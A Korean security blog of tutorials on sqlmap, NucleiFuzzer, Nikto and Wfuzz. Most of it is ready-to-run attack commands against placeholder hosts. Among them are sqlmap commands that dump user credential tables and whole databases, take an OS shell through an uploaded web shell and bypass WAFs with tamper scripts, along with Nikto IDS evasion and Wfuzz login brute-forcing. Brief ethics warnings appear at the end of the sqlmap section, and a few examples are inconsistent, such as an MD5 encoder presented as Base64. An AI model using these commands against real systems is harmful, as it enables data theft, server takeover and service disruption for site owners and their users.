오늘은 펜테스터들이 가장 사랑하면서도, 관리자들에게는 가장 두려운 도구인 sqlmap에 대해 깊이 있게 알아보겠습니다.

sqlmap은 "자동화된 SQL 인젝션 공격 도구의 제왕"입니다.

단순히 취약점만 찾는 게 아니라, 데이터베이스(DB)를 통째로 털거나(Dump), 심지어 DB 서버의 셸(Shell)까지 획득하여 시스템을 장악할 수 있습니다.

 

이번 글에서는 기본 사용법부터, WAF(웹 방화벽) 우회 기법, 그리고 대망의 시스템 장악(--os-shell)까지 전문가 레벨의 기술을 다룹니다.

"SQL 인젝션이 있는 것 같은데, 수동으로 쿼리 짜기가 너무 힘들어요."

이런 고민을 단숨에 해결해 주는 도구가 바로 sqlmap입니다. 

탐지(Detection)부터 익스플로잇(Exploitation)까지 명령어 한 줄이면 충분합니다.

◎ 기본 사용법: "데이터베이스 이름 알아내기"

 - 가장 먼저 해야 할 일은 공격 대상이 어떤 DB를 쓰는지, DB 이름은 무엇인지 알아내는 것입니다.

① GET 방식 공격 (-u)

  > URL 파라미터(id=1)에 취약점이 있는지 검사합니다.

# sqlmap -u "http://target.com/view.php?id=1" --dbs
  • -u: 타겟 URL 지정
  • --dbs: 접근 가능한 모든 데이터베이스 이름 목록을 가져옵니다 (Database Server).

 

② POST 방식 공격 (-r)

  > 로그인 창이나 검색창 같은 POST 요청은 URL에 파라미터가 보이지 않습니다.

  > 이럴 땐 Burp Suite로 요청을 파일로 저장해서 사용하면 편합니다.

  • Burp Suite에서 로그인 요청을 잡습니다 (Intercept).
  • 요청 내용을 복사해서 request.txt 파일로 저장합니다.
  • 아래 명령어를 실행합니다.
# sqlmap -r request.txt -p username --dbs
  • -r: 저장된 요청 파일을 읽어서 공격합니다.
  • -p username: username 파라미터만 집중적으로 공격하라고 지정합니다.

 

◎ 데이터 탈취: "테이블과 컬럼 털기"

 - DB 이름을 알아냈다면, 이제 그 안의 데이터를 가져올 차례입니다. 단계별로 파고들어 갑니다.

① 테이블(Table) 목록 보기 (-D, --tables)

  > ServiceDB라는 데이터베이스를 찾았다고 가정해 봅시다.

# sqlmap -u "http://target.com/view.php?id=1" -D ServiceDB --tables

 

② 컬럼(Column) 목록 보기 (-T, --columns)

  > Users라는 테이블이 나왔네요. 그 안에 어떤 컬럼이 있는지 봅니다.

# sqlmap -u "http://target.com/view.php?id=1" -D ServiceDB -T Users --columns

 

③ 데이터 덤프(Dump) (-C, --dump)

  > id, pw, email 컬럼이 보입니다. 이제 내용을 다 긁어옵니다.

# sqlmap -u "http://target.com/view.php?id=1" \
  -D ServiceDB -T Users -C "id,pw,email" --dump
  • --dump: 데이터를 화면에 출력하고 파일(CSV 등)로 저장합니다.
  • 만약 비밀번호가 해시(Hash)로 되어있다면, sqlmap이 "이거 해시인데 크랙(복호화) 시도해 볼까?"라고 친절하게 물어봅니다.

 

◎ WAF 우회 기술 (--tamper)

 - 보안 장비(WAF)가 "SELECT"나 "UNION" 같은 단어를 막고 있다면? Tamper Script를 써서 공격 코드를 난독화해야 합니다.

space2comment: 공백(Space)을 주석(/**/)으로 바꿔서 우회
# sqlmap -u "http://target.com/view.php?id=1" --tamper=space2comment.py

  > 자주 쓰는 스크립트

  • space2comment.py: 공백 우회 (가장 흔함)
  • between.py: >나 < 기호가 막혔을 때 BETWEEN으로 대체
  • charencode.py: URL 인코딩으로 우회

 

◎ 시스템 셸 획득 (--os-shell)

 - 단순히 데이터를 훔치는 것을 넘어, DB 서버의 운영체제(OS)를 장악하고 싶다면 이 옵션을 씁니다. (단, DB 관리자 권한이 필요합니다.)

# sqlmap -u "http://target.com/view.php?id=1" --os-shell
  • 이 명령어가 성공하면, 터미널에 익숙한 셸 프롬프트가 뜹니다.
  • 이제 ls, cat /etc/passwd 같은 리눅스 명령어를 마음대로 실행할 수 있습니다.

  > 작동 원리

  • sqlmap이 DB의 파일 쓰기 기능(INTO OUTFILE 등)을 이용해 웹 서버에 웹 셸(Web Shell) 파일(예: tmp.php)을 몰래 업로드하고, 그 파일을 통해 명령을 내립니다.

 

◎ 전문가의 꿀팁 (배치 모드 & 레벨업)

 - 실무에서 sqlmap을 돌릴 때 계속 "Y/n" 질문이 나와서 귀찮으셨죠? 그리고 기본 스캔으로는 취약점이 잘 안 잡힐 때가 있습니다.

[추천 명령어 조합]

# sqlmap -u "http://target.com/view.php?id=1" \
  --batch --random-agent --level 3 --risk 2 --dbs
  • --batch: 모든 질문에 기본값(Default)으로 자동 대답합니다. (켜두고 딴짓 가능)
  • --random-agent: User-Agent를 랜덤하게 바꿔서 차단을 피합니다.
  • --level 3: 기본(1)보다 더 깊게 검사합니다. (헤더, 쿠키까지 검사)
  • --risk 2: 조금 더 위험한(무거운) 쿼리도 날려봅니다. (기본 1)

 

◎ sqlmap의 --level (1~5)과 --risk (1~3) 옵션에 대한 정확한 의미와 차이점 정리
 - 이 두 옵션은 "얼마나 꼼꼼하게(Level)" 그리고 "얼마나 위험하게(Risk)" 공격할지를 결정하는 가장 중요한 스위치입니다. 

 - 무작정 높인다고 좋은 게 아니며, 상황에 맞춰 조절하는 것이 핵심입니다.

 

① 검사 범위의 깊이: --level (1 ~ 5)

  • --level은 "어디까지 찔러볼 것인가?"를 결정합니다.
  • 레벨이 높아질수록 검사하는 위치(Injection Point)와 테스트하는 페이로드(Payload)의 양이 늘어납니다.

  > Level 1 (기본값)

  • GET 및 POST 파라미터만 검사합니다.
  • 가장 빠르고 일반적인 검사입니다.

 

  > Level 2

  • HTTP Cookie 헤더 값을 검사 대상에 포함합니다.
  • 사이트가 쿠키에 SQL 구문을 숨겨놓거나 검증할 때 유효합니다.

 

  > Level 3 (실무 권장)

  • HTTP User-Agent 및 Referer 헤더까지 검사합니다.
  • 개발자가 로그를 남기기 위해 User-Agent를 DB에 저장하는 경우, 이곳이 취약점이 될 수 있습니다.

 

  > Level 4

  • 더 많은 종류의 변형된 페이로드(Payload)를 사용해 우회를 시도합니다.

 

  > Level 5 (최고 레벨)

  • HTTP Host 헤더를 포함하여 거의 모든 가능한 입력 지점을 검사합니다.
  • 테스트할 페이로드 양이 기하급수적으로 늘어나 스캔 속도가 매우 느려집니다. (기본 대비 1,000개 이상의 요청 추가)

  > 요약

  • 보통 --level 3까지 설정하면 쿠키와 헤더를 포함한 대부분의 영역을 커버할 수 있어 실무에서 가장 많이 사용됩니다.

 

② 공격의 위험도: --risk (1 ~ 3)

  • --risk는 "얼마나 위험한 쿼리를 날릴 것인가?"를 결정합니다.
  • 여기서 '위험'이란 데이터베이스의 데이터가 훼손되거나 서비스가 느려질 가능성을 의미합니다.

 

  > Risk 1 (기본값)

  • 가장 안전한 쿼리만 사용합니다.
  • 대부분의 SELECT 기반 공격만 수행하며, 데이터 변조 위험이 거의 없습니다.

 

  > Risk 2

  • Heavy Time-based SQL Injection 쿼리를 추가합니다.
  • SLEEP(10) 같은 명령을 더 많이, 더 길게 보내보므로 서버 응답 속도가 느려지거나 일시적인 부하(DoS)가 걸릴 수 있습니다.

 

  > Risk 3 (매우 위험)

  • OR-based SQL Injection 쿼리를 추가합니다.
  • 예: OR 1=1 같은 구문을 UPDATE나 DELETE 문에 주입할 경우, WHERE 절이 무력화되어 테이블의 모든 데이터가 수정되거나 삭제될 위험이 있습니다.
  • (절대 주의): 운영 중인 서비스(Production)에서는 절대 Risk 3를 사용하면 안 됩니다. 오직 테스트 환경에서만 사용하세요.


  > 요약

  • 실무 진단 시에는 안전을 위해 Risk 1을 권장하며, 정말 취약점이 안 나올 때 제한적으로 Risk 2를 사용합니다.
  • Risk 3는 데이터 파괴 가능성 때문에 금기시됩니다.

 

③ 실무 추천 조합
일반적인 정밀 진단 (가장 추천)

--level 3 --risk 1 

(쿠키/헤더까지 꼼꼼히 보되, 데이터는 안전하게 지킴)

취약점이 있을 것 같은데 안 나올 때

--level 5 --risk 2

(모든 곳을 다 찌르고, 서버 부하를 감수하고라도 찾아내겠다)

 

이 내용을 참고하여 상황에 맞는 적절한 옵션을 선택하시기 바랍니다. 특히 Risk 3는 반드시 주의해주세요

 

◎ 파일로 요청 보내기: -r (Request File)

 - 실무에서 가장 많이 쓰는 옵션 1위입니다.

 - URL이 너무 길거나 복잡한 헤더, 쿠키가 섞여 있을 때 터미널에 다 치기 힘들죠?

  > Burp Suite에서 요청 패킷 전체를 복사해서 req.txt 파일로 저장합니다.

  > 아래 명령어를 날립니다.

# sqlmap -r req.txt --dbs
  • sqlmap이 알아서 파일 내용을 분석해 GET, POST, Cookie 파라미터 중 어디가 취약한지 찾아냅니다.

 

◎ 응답 판별 기준 잡아주기: --string

 - "참(True)"일 때와 "거짓(False)"일 때 페이지 내용이 미묘하게 다를 때 씁니다. 

 - sqlmap이 "이게 성공한 건지 실패한 건지" 헷갈려 할 때 딱 정해주는 옵션입니다.

  > 상황: 로그인 성공 시 "Welcome"이 뜨고, 실패 시 안 뜬다면?

  > 사용법:

# sqlmap -u "http://target.com/login.php" --data="id=admin&pw=1234" --string="Welcome"
  • 이제 sqlmap은 응답 페이지에 "Welcome"이라는 글자가 있으면 "참(True)"이라고 확실하게 판단합니다.

 

◎ 속도 올리기: --threads

 - 기본적으로 sqlmap은 한 번에 하나씩 요청을 보냅니다(싱글 스레드). 대량의 데이터를 덤프할 때 속 터지죠.

  > 사용법

# sqlmap -u "http://target.com/list.php?id=1" --dump --threads 10
  • 최대 10까지 설정 가능합니다. 너무 높이면 서버가 요청을 차단할 수 있으니 5~10 정도가 적당합니다.

 

◎ POST 데이터 지정: --data

 - -r 옵션을 쓰기 귀찮고, 간단한 POST 요청을 보내고 싶을 때 씁니다.

  > 사용법

# sqlmap -u "http://target.com/search" --data="query=apple&category=fruit"
  • 이러면 query와 category 파라미터를 대상으로 POST 인젝션을 시도합니다.

 

◎ DB 종류 찍어주기: --dbms

 - sqlmap은 처음에 "이게 MySQL인가? Oracle인가?" 확인하는 과정을 거칩니다.

 - 우리가 이미 타겟이 MySQL인 걸 알고 있다면, 이 과정을 생략하고 바로 공격할 수 있습니다. (속도 향상 + 오탐 방지)

  > 사용법

# sqlmap -u "http://target.com/view.php?id=1" --dbms="MySQL"
  • 지원 값: MySQL, Oracle, PostgreSQL, Microsoft SQL Server 등

 

◎ 영혼까지 털어가기: --dump-all

 - 특정 테이블 하나가 아니라, 접근 가능한 모든 데이터베이스의 모든 테이블, 모든 데이터를 싹 다 가져옵니다.

  > 사용법

# sqlmap -u "http://target.com/view.php?id=1" --dump-all --exclude-sysdbs
  • 주의: 데이터 양에 따라 몇 시간~며칠이 걸릴 수 있습니다.
  • 팁: --exclude-sysdbs를 같이 써주세요. 시스템 기본 DB(information_schema 등)까지 털면 시간이 너무 오래 걸리고 쓸모도 없습니다.

 

◎ 인증 정보 유지: --cookie
 - 로그인이 필요한 페이지를 공격하려면 세션 ID(쿠키)를 같이 보내야 합니다.

  > 사용법

# sqlmap -u "http://target.com/mypage.php?id=1" --cookie="PHPSESSID=a1b2c3d4; security=low"
  • 만약 사이트가 로그인 여부를 쿠키로만 체크한다면 이 옵션 하나로 뚫립니다.

 

◎ 전문가의 One-Liner

 - 이 모든 옵션을 조합하면 아래와 같은 강력한 명령어가 됩니다.

  > 상황

  • 로그인이 필요한(--cookie) 게시판 검색 기능(POST 방식)에서 취약점 발견.
  • DB는 MySQL(--dbms)인 걸 알고 있음.
  • 성공 시 화면에 "Result Found"(--string)가 뜸.
  • 빠르게(--threads) 모든 데이터(--dump-all)를 가져오고 싶음.

 

  > 명령어

# sqlmap -u "http://target.com/search.php" \
  --data="keyword=test&type=title" \
  --cookie="JSESSIONID=xyz123" \
  --dbms="MySQL" \
  --string="Result Found" \
  --dump-all --exclude-sysdbs \
  --threads 10 --batch

 

◎ [요약: 언제 쓸까?]

옵션 용도
-r Burp Suite 요청 패킷 파일 그대로 사용 (가장 추천)
--data 간단한 POST 요청 보낼 때
--string 참/거짓 판단을 못해서 스캔이 헛돌 때 (오탐 방지)
--threads 데이터 덤프 속도가 너무 느릴 때
--dbms DB 종류를 이미 알고 있을 때 (시간 절약)
--cookie 로그인이 필요한 페이지일 때
--dump-all DB 전체를 백업하듯 다 가져오고 싶을 때

 

 - sqlmap은 옵션을 얼마나 정교하게 주느냐에 따라 성공률이 천지차이입니다.

 - "안 되네?" 하고 포기하기 전에 --string이나 --dbms 옵션을 꼭 시도해 보시기 바랍니다.

 

◎ 윤리적 해킹

  • --os-shell이나 --dump는 실제 시스템에 파일(쓰레기 데이터)을 남기거나 민감 정보를 유출하는 행위입니다. 
  • 반드시 허가된 모의해킹 환경에서만 사용해야 하며, 테스트 후에는 --os-pwn 등으로 생성된 셸 파일을 삭제해 주는 것이 매너입니다.
  • sqlmap은 강력한 만큼 책임도 큽니다. 안전하고 합법적인 연구 되시길 바랍니다.

 

반응형

오늘은 공격자들 사이에서 '치트키'로 불리는 자동화 프레임워크, NucleiFuzzer (일명 nf)에 대해 알아보겠습니다.

NucleiFuzzer는 보안 진단 자동화의 "끝판왕"이라 불립니다.

ParamSpider의 수집 능력과 Nuclei의 탐지 능력을 하나로 합친 도구이기 때문이죠.

특히 XSS나 SQLi 같은 파라미터 기반 취약점을 찾을 때, 수작업을 획기적으로 줄여줍니다.

"ParamSpider로 URL 긁어오고, 그거 정리해서 다시 Nuclei에 넣고..."

이 과정, 너무 귀찮지 않으셨나요? NucleiFuzzer는 이 [수집] → [정리] → [스캔] 과정을 명령어 한 줄로 통합해 주는 고마운 도구입니다.

 

◎ NucleiFuzzer란 무엇인가요? (vs Nuclei)

 - Nuclei: 템플릿 기반의 스캐너입니다. 

 - 하지만 "어디를 찔러야 할지(URL 파라미터)"는 사용자가 직접 줘야 합니다.

  > NucleiFuzzer (nf): ParamSpider + Nuclei의 합체 버전입니다.

  • ParamSpider, Katana 등을 이용해 웹 아카이브와 사이트에서 파라미터(?id=, ?search=)를 스스로 수집합니다.
  • 수집된 파라미터에 대해 Nuclei의 Fuzzing 템플릿(XSS, SQLi 등)을 자동으로 돌립니다.

  > 즉, "도메인만 던져주면 알아서 취약점을 찾아오는" 진정한 자동화 툴입니다.

 

◎ 설치 방법 (Kali Linux 기준)

 - NucleiFuzzer는 여러 도구를 묶어놓은 것이라 의존성 도구(Nuclei, ParamSpider 등)가 먼저 설치되어 있어야 합니다.

① 필수 도구 사전 설치

Go 언어 기반 도구들 설치
# go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
# go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
# go install -v github.com/projectdiscovery/katana/cmd/katana@latest


② NucleiFuzzer 설치

# git clone https://github.com/0xKayala/NucleiFuzzer.git
# cd NucleiFuzzer
# chmod +x install.sh
# ./install.sh

  > 설치가 끝나면 터미널에서 nf 또는 nucleifuzzer 명령어로 실행할 수 있습니다.

 

◎ 실전 사용법 및 예시

 - 사용법은 놀라울 정도로 간단합니다.

 - 복잡한 옵션 없이 도메인만 주면 됩니다.

 

① 단일 도메인 원스톱 스캔 (-d)

  > 가장 많이 사용하는 기본 명령어입니다.

# nf -d target.com

  > 작동 순서

  • ParamSpider, Waybackurls 등으로 target.com의 과거/현재 파라미터 수집
  • Uro 등으로 중복 제거 및 노이즈 필터링
  • Nuclei를 실행하여 XSS, SQLi, SSRF, LFI 등 주요 취약점 자동 스캔
  • 결과를 터미널에 출력 및 output 폴더에 저장

 

② 여러 도메인 동시 스캔 (-f)

  > 버그 바운티 대상을 파일(targets.txt)에 모아두고 한 번에 돌릴 때 유용합니다.

# nf -f targets.txt


③ 특정 취약점 템플릿만 돌리고 싶다면?

  > NucleiFuzzer는 기본적으로 내장된 Fuzzing 템플릿을 모두 돌립니다.

  > 하지만 너무 오래 걸린다면 Nuclei의 설정을 직접 건드리거나, 결과 파일(urls.txt)만 추출해서 수동으로 Nuclei를 돌리는 응용도 가능합니다.

 

◎ 결과 확인 및 활용

 - 스캔이 끝나면 output 디렉터리에 결과가 저장됩니다.

  • vulnerabilities.txt: 발견된 취약점 목록
  • urls.txt: 수집된 모든 파라미터 URL (나중에 SQLmap에 넣기 좋음)

 

 - 활용 팁 (연계 공격)

  • NucleiFuzzer가 "SQL Injection 의심됨"이라고 찾아낸 URL이 있다면?
  • 바로 SQLmap으로 가져가서 검증하면 됩니다.
nf가 찾은 URL로 SQLmap 실행
# sqlmap -u "http://target.com/view.php?id=123" --batch

 

◎ 전문가의 조언 (주의사항)

 - 속도와 트래픽

  • NucleiFuzzer는 굉장히 많은 요청을 보냅니다.
  • 상용 서비스(Production)에 함부로 돌리면 서버 장애(DoS)를 유발하거나 IP가 차단될 수 있습니다.

 

 - 오탐(False Positive)

  • 자동화 툴의 한계로 오탐이 있을 수 있습니다.
  • 결과가 나왔다고 무조건 "해킹 성공!"을 외치지 말고, 반드시 curl이나 브라우저로 직접 재현(PoC)해 보셔야 합니다.

 

 - 의존성 에러

  • 실행 시 paramspider not found 같은 에러가 뜬다면, 해당 도구가 $PATH 경로에 없어서 그렇습니다.
  • go install로 설치된 경로(/root/go/bin 등)를 환경변수에 추가해 주세요.

 

 - NucleiFuzzer(nf)는 "해커의 시간을 아껴주는 비서"입니다.

 - 여러분이 커피 한 잔 마시는 동안, nf는 수천 개의 파라미터를 뒤지며 보물을 찾고 있을 겁니다.

 - 지금 바로 설치해서 테스트해 보세요

반응형

오늘은 웹 모의해킹의 고전이자 기본 중의 기본, Nikto에 대해 알아보겠습니다.

Nmap이 "어떤 문이 열려있나"를 확인하는 도구라면, Nikto는 "그 문 뒤에 좀비(오래된 취약점)가 살고 있나?"를 확인하는 웹 취약점 스캐너입니다. 

설정 미흡(Misconfiguration), 기본 파일 방치, 구버전 서버 소프트웨어 탐지에 탁월합니다.

최신 웹 애플리케이션 취약점(SQLi, XSS)을 찾는 건 Burp Suite나 Zap 같은 도구들이 더 잘하지만, "서버 관리자가 실수로 놔둔 것들"을 찾는 데는 Nikto만한 게 없습니다.

서버 설정 파일, 백업 파일, 아웃데이트된 아파치 모듈... 이런 '인프라 레벨의 구멍'을 Nikto는 놓치지 않습니다.

◎ 기본 중의 기본 스캔

 - Nikto는 펄(Perl) 기반으로 만들어져 있어 사용법이 매우 직관적입니다.
① 가장 단순한 스캔 (-h)

# nikto -h http://target.com
  • -h (Host): 타겟 도메인이나 IP를 지정합니다.

  > 이 명령어 하나만으로 Nikto는 6,700개 이상의 잠재적 위험 항목을 체크합니다.

② SSL(HTTPS) 스캔 (-ssl)

  > 만약 타겟이 HTTPS(443)를 사용한다면 -ssl 옵션을 붙여주는 것이 좋습니다. (최신 버전은 자동으로 탐지하기도 하지만, 명시하는 게 안전합니다.)

# nikto -h target.com -ssl

 

◎ 정밀 타격을 위한 튜닝 (-Tuning)

 - Nikto를 그냥 돌리면 시간이 꽤 걸립니다.

 - 불필요한 테스트는 빼고 내가 원하는 것만 골라서 검사하고 싶다면 -Tuning 옵션을 사용하세요.

코드 검사 항목 (의미) 예시 상황
1 Interesting File 로그 파일, 비밀번호 파일 등이 있는지
2 Misconfiguration 설정 실수(기본 설정 등) 확인
4 Injection XSS/Script 취약점 확인
8 Command Execution 원격 쉘 실행 가능성 확인
9 SQL Injection SQL 인젝션 패턴 확인
x Reverse Tuning 해당 항목은 제외하고 스캔

  
  > 사용 예시:

파일 업로드(0)와 설정 미흡(2)만 빠르게 보고 싶다!
# nikto -h http://target.com -Tuning 02

 

◎ 방화벽(IDS)을 속이는 기술 (-evasion)

 - Nikto는 워낙 유명한 도구라 보안 장비(IDS/WAF)가 시그니처를 다 알고 있습니다.

 - 이를 우회하기 위해 패킷을 변조하는 Evasion 기법을 제공합니다.

코드 기법 (의미)
1 Random URI Encoding
2 Self-Reference
A Fake Parameter
B Binary Encoding


  > 사용 예시:

1번(인코딩)과 2번(경로 변조) 기법을 섞어서 스캔
# nikto -h http://target.com -evasion 12



◎ 결과 저장 및 보고서 작성 (-o, -Format)

  > 스캔 결과는 반드시 파일로 남겨야 합니다. Nikto는 아주 예쁜 HTML 보고서를 만들어 줍니다.

# nikto -h http://target.com -o result.html -Format htm
  • -o [파일명]: 저장할 파일 이름
  • -Format [형식]: htm(HTML), csv(엑셀용), txt(텍스트) 등 지원

 

◎ 전문가의 One-Liner (실무 활용)

 - 실무에서 "서버 인프라 취약점만 빠르게 훑어볼 때" 사용하는 명령어입니다.

# nikto -h http://192.168.1.100 \
  -Tuning 123b \
  -o scan_report.html -Format htm \
  -C all
  • -Tuning 123b: 흥미로운 파일(1), 설정 미흡(2), 정보 노출(3), 소프트웨어 식별(b)만 골라서 검사 (시간 절약)
  • -o ...: HTML 보고서로 저장해서 브라우저로 편하게 확인
  • -C all: CGI 디렉터리(cgi-bin)도 꼼꼼하게 다 뒤져라

 

◎ Nikto가 "아무것도 안 나온다"면?

 - 최신 WAF(웹 방화벽)는 Nikto의 기본 User-Agent(Nikto/2.x.x)를 칼같이 차단합니다.

  > 이럴 땐 User-Agent를 일반 브라우저처럼 위장해야 합니다.

nikto.conf 파일을 수정하거나, 아래 옵션 사용 (버전에 따라 다름)
보통은 프록시(Burp)를 태워서 Burp에서 헤더를 바꾸는 게 가장 확실합니다.
# nikto -h http://target.com -useproxy http://127.0.0.1:8080


 - Nikto는 오래됐지만, 여전히 "가장 쉽고 빠르게 서버의 민낯을 보여주는 도구"입니다.

 - 복잡한 로직 해킹 전에 Nikto로 '열려 있는 창문'이 없는지 먼저 확인해 보세요.

반응형

오늘은 웹 모의해킹 심화 과정의 필수품, Wfuzz에 대해 알아보겠습니다.

Wfuzz는 이름 그대로 웹 애플리케이션을 'Fuzzing(무작위 데이터 입력 테스트)'하는 데 특화된 도구입니다.

단순히 파일만 찾는 Gobuster와 달리, 로그인 폼의 아이디/비밀번호를 찾거나(Brute-force), 헤더를 변조하거나, 파라미터 값을 조작하는 등 훨씬 정교한 공격이 가능합니다.

 

Gobuster가 "여기 문이 있나?"라고 두드려보는 도구라면, Wfuzz는 "이 문을 열쇠 1만 개로 다 찔러보고, 발로도 차보고, 창문도 흔들어보는" 도구입니다.

SQL 인젝션, XSS, 로그인 브루트포싱 등 다양한 시나리오에서 활약하는 Wfuzz의 사용법을 마스터해 봅시다.

 

◎ Wfuzz의 핵심 원리: FUZZ 키워드

 - Wfuzz의 사용법은 딱 하나만 기억하면 됩니다.
  > "내가 바꾸고 싶은 자리에 FUZZ라고 쓴다."

  • URL 경로를 찾고 싶다면: http://target.com/FUZZ
  • 파라미터 값을 찾고 싶다면: http://target.com/view.php?id=FUZZ
  • 로그인 비밀번호를 찾고 싶다면: password=FUZZ

 - Wfuzz는 이 FUZZ라는 단어를 사전 파일(Wordlist)에 있는 단어들로 하나씩 갈아끼우며 요청을 보냅니다.

 

◎ 필수 옵션 완전 정복

① 결과 필터링 (가장 중요!)

  > Wfuzz는 기본적으로 모든 응답을 다 보여줍니다.

  > 404(Not Found) 에러가 1만 개 뜨면 화면이 꽉 차서 정작 중요한 200(성공)을 못 봅니다.

  > 그래서 필터링 옵션은 선택이 아니라 필수입니다.

  • --hc [코드] (Hide Code): 해당 응답 코드는 숨깁니다. (주로 404 숨김)
  • --sc [코드] (Show Code): 해당 응답 코드만 보여줍니다. (주로 200만 보고 싶을 때)
  • --hw [숫자] (Hide Word): 응답 페이지의 단어 수(Word Count)가 특정 개수면 숨깁니다. (에러 페이지 걸러낼 때 유용)
  • --hl [숫자] (Hide Line): 응답 줄 수(Line Count)로 숨깁니다.

 

② 컬러 모드 (-c)

  > 결과를 알록달록하게 보여줘서 가독성을 높입니다. 무조건 쓰세요.

 

◎ 실전 명령어 가이드

① 디렉터리 및 파일 스캔 (기본)

  > Gobuster와 비슷하지만 더 세밀한 제어가 가능합니다.

# wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ
  • -c: 컬러 출력
  • -w [파일]: 사용할 사전 파일 지정
  • --hc 404: 없는 페이지(404)는 화면에 출력하지 않음

 

② 파라미터 퍼징 (숨겨진 변수 찾기)

  > 개발자가 숨겨놓은 admin=true 같은 파라미터를 찾을 때 씁니다.

# wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/index.php?FUZZ=test
  • ?id=test, ?user=test, ?admin=test ... 이런 식으로 대입해 봅니다.

 

③ 인증 크랙 (아이디/비번 동시에)

  > Wfuzz는 FUZZ, FUZ2Z, FUZ3Z... 를 사용해 여러 곳을 동시에 바꿀 수 있습니다.

# wfuzz -c -w users.txt -w passwords.txt \
  --sc 200 \
  -d "username=FUZZ&password=FUZ2Z" \
  http://target.com/login.php
  • -w를 두 번 씀: 첫 번째 -w는 FUZZ(아이디)에, 두 번째 -w는 FUZ2Z(비번)에 매핑됩니다.
  • -d: POST 데이터 전송 (로그인 시도)

 

④ 헤더(Header) 조작 공격

  > User-Agent를 바꾸거나, 쿠키 값을 변조할 때 사용합니다.

# wfuzz -c -w malicious_headers.txt -H "User-Agent: FUZZ" http://target.com

 

◎ 인코딩(Encoding) 기능 활용 (-e)

  > 만약 서버가 Base64로 인코딩된 값만 받는다면? Wfuzz는 알아서 인코딩해서 보내줍니다.

평문 사전을 Base64로 바꿔서 전송
# wfuzz -c -w payloads.txt -e md5 http://target.com/api?token=FUZZ
  • -e md5: 사전 파일의 내용을 MD5 해시로 변환해서 FUZZ 자리에 넣습니다. (urlencode, base64 등 다양한 인코더 지원)

 

◎ 전문가의 꿀팁: "에러 페이지 걸러내기"

  - 실무에서 Wfuzz를 쓰다 보면, "모든 페이지가 200 OK"로 떠서 당황할 때가 있습니다. (서버가 404 대신 "페이지를 찾을 수 없습니다"라는 예쁜 200 페이지를 보여줄 때)

  > 이럴 때는 --hw (Hide Word) 옵션을 씁니다.

  • 먼저 이상한 값(sdfasdf)을 넣어 봅니다.
  • 그때 나오는 단어 수(Word Count)를 확인합니다. (예: 153 W)
  • 그 단어 수를 숨겨버립니다.
153개 단어를 가진 응답(가짜 200 페이지)은 다 숨겨라!
# wfuzz -c -w common.txt --hw 153 http://target.com/FUZZ

 

 

◎ 전문가는 어떤 옵션을 쓰는가

① 노이즈 제거의 끝판왕: --hh (Hide Characters)

  >사실 실무에서는 --hh (Hide Characters, 글자 수 숨김)를 더 많이 씁니다.

  > 왜냐하면 서버 응답이 미세하게 바뀌더라도(예: "Error: 123" vs "Error: 456"), 전체 글자 수(Character Count)는 고정적인 경우가 많기 때문입니다.

  • 상황: 아무 값이나 넣었는데 응답 크기가 항상 1024 Chars로 나온다. 이게 바로 실패(에러) 페이지다.
  • 해결: 1024 글자짜리 응답은 다 숨겨라!
# wfuzz -c -w common.txt --hh 1024 http://target.com/FUZZ

  > 이제 1024글자가 아닌, 무언가 다른(진짜 성공한) 페이지가 떴을 때만 결과가 출력됩니다.

② 속도 조절의 핵심: -t (Threads)

  > Wfuzz의 기본 속도가 답답하셨나요? 스레드(Threads)를 늘려주면 됩니다.

  • 기본값: 10 (너무 느림)
  • 추천값: 50 ~ 200
  • 사용법:
# wfuzz -c -t 100 -w common.txt http://target.com/FUZZ

  > 주의: 너무 높이면(500 이상) 서버가 죽거나(DoS), WAF(방화벽)가 여러분의 IP를 차단해 버립니다. 적당히 조절하세요.

 

③ 메소드(Method) 바꿔 찌르기: -X

  > 웹 서버는 GET 요청에는 404를 주지만, POST나 PUT 요청에는 반응할 때가 있습니다. (특히 REST API 테스트할 때 중요!)
Wfuzz는 기본적으로 GET을 보내지만, -X 옵션으로 이를 바꿀 수 있습니다.

  • 사용법:
POST 메소드로 퍼징
# wfuzz -c -w common.txt -X POST http://target.com/api/FUZZ

DELETE 메소드로 삭제 가능한 파일 찾기 (위험!)
# wfuzz -c -w files.txt -X DELETE http://target.com/uploads/FUZZ


④ 인증 우회와 로그인: -u (User/Password)

  > Basic Auth(브라우저 팝업으로 아이디/비번 묻는 창)가 걸린 페이지를 뚫어야 할 때 씁니다.

  • -u 옵션을 쓰면 Authorization: Basic ... 헤더를 자동으로 만들어줍니다.
  • 사용법:
admin 계정으로 인증하며 스캔
# wfuzz -c -w secrets.txt -u admin:password123 http://target.com/admin/FUZZ

  > 참고: 만약 폼 로그인(Form Login)이라면 -d 옵션으로 데이터를 보내야 하고, Basic Auth라면 -u를 씁니다.

옵션 의미 언제 쓰는가?
--hh Hide Characters 가짜 200 OK 페이지를 정밀하게 걸러낼 때 (가장 확실함)
-t Threads 스캔이 너무 느릴 때 속도를 올리려고
-X Method GET 말고 POST, PUT, DELETE 등으로 테스트할 때
-u Auth Basic Authentication(팝업 로그인)을 통과해야 할 때

 

◎ 전문가의 One-Liner

 - 이 모든 옵션을 조합하면 아래와 같은 강력한 명령어가 탄생합니다.

  > 상황

  • http://target.com/api/FUZZ 경로를 찾고 싶다.
  • POST 메소드(-X POST)를 써야 한다.
  • Basic Auth 인증(-u)이 필요하다.
  • 빠르게(-t 100) 하고 싶다.
  • 실패 시 응답 크기가 450글자(--hh 450)라서 이걸 안 보고 싶다.
  • 명령어:
# wfuzz -c -w /usr/share/wordlists/dirb/common.txt \
  -t 100 \
  -X POST \
  -u testuser:testpass \
  --hh 450 \
  http://target.com/api/FUZZ

 

◎ 요약: Wfuzz, 언제 써야 할까?

  • 단순 폴더 찾기 -> Gobuster (빠름)
  • 정교한 조작 필요 -> Wfuzz (강력함)
  • 파라미터 값 변조 (?id=FUZZ)
  • POST 데이터 전송 (-d)
  • 여러 개 동시에 대입 (FUZZ, FUZ2Z)
  • 특정 길이의 응답만 골라내기 (--hw)

 - Wfuzz는 옵션이 많아 처음엔 복잡해 보이지만, 옵션을 조합할수록 강력해집니다.

 - FUZZ 키워드와 필터링(--hc, --hw)만 이해하면 그 어떤 도구보다 자유도가 높은 강력한 무기입니다.

 - 특히 --hh 옵션은 결과의 질(Quality)을 결정하는 가장 중요한 필터이니 꼭 손에 익혀두시기 바랍니다.

반응형

